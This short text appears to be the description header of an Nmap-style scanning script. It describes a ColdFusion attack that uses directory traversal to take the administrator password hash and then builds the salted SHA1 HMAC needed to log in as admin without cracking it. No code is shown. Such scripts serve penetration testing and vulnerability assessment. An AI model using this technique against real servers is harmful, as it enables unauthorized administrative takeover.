description = [[
Executes a directory traversal attack against a ColdFusion
server and tries to grab the password hash for the administrator user. It
then uses the salt value (hidden in the web page) to create the SHA1
HMAC hash that the web server needs for authentication as admin. You can
pass this value to the ColdFusion server as the admin without cracking
the password hash.
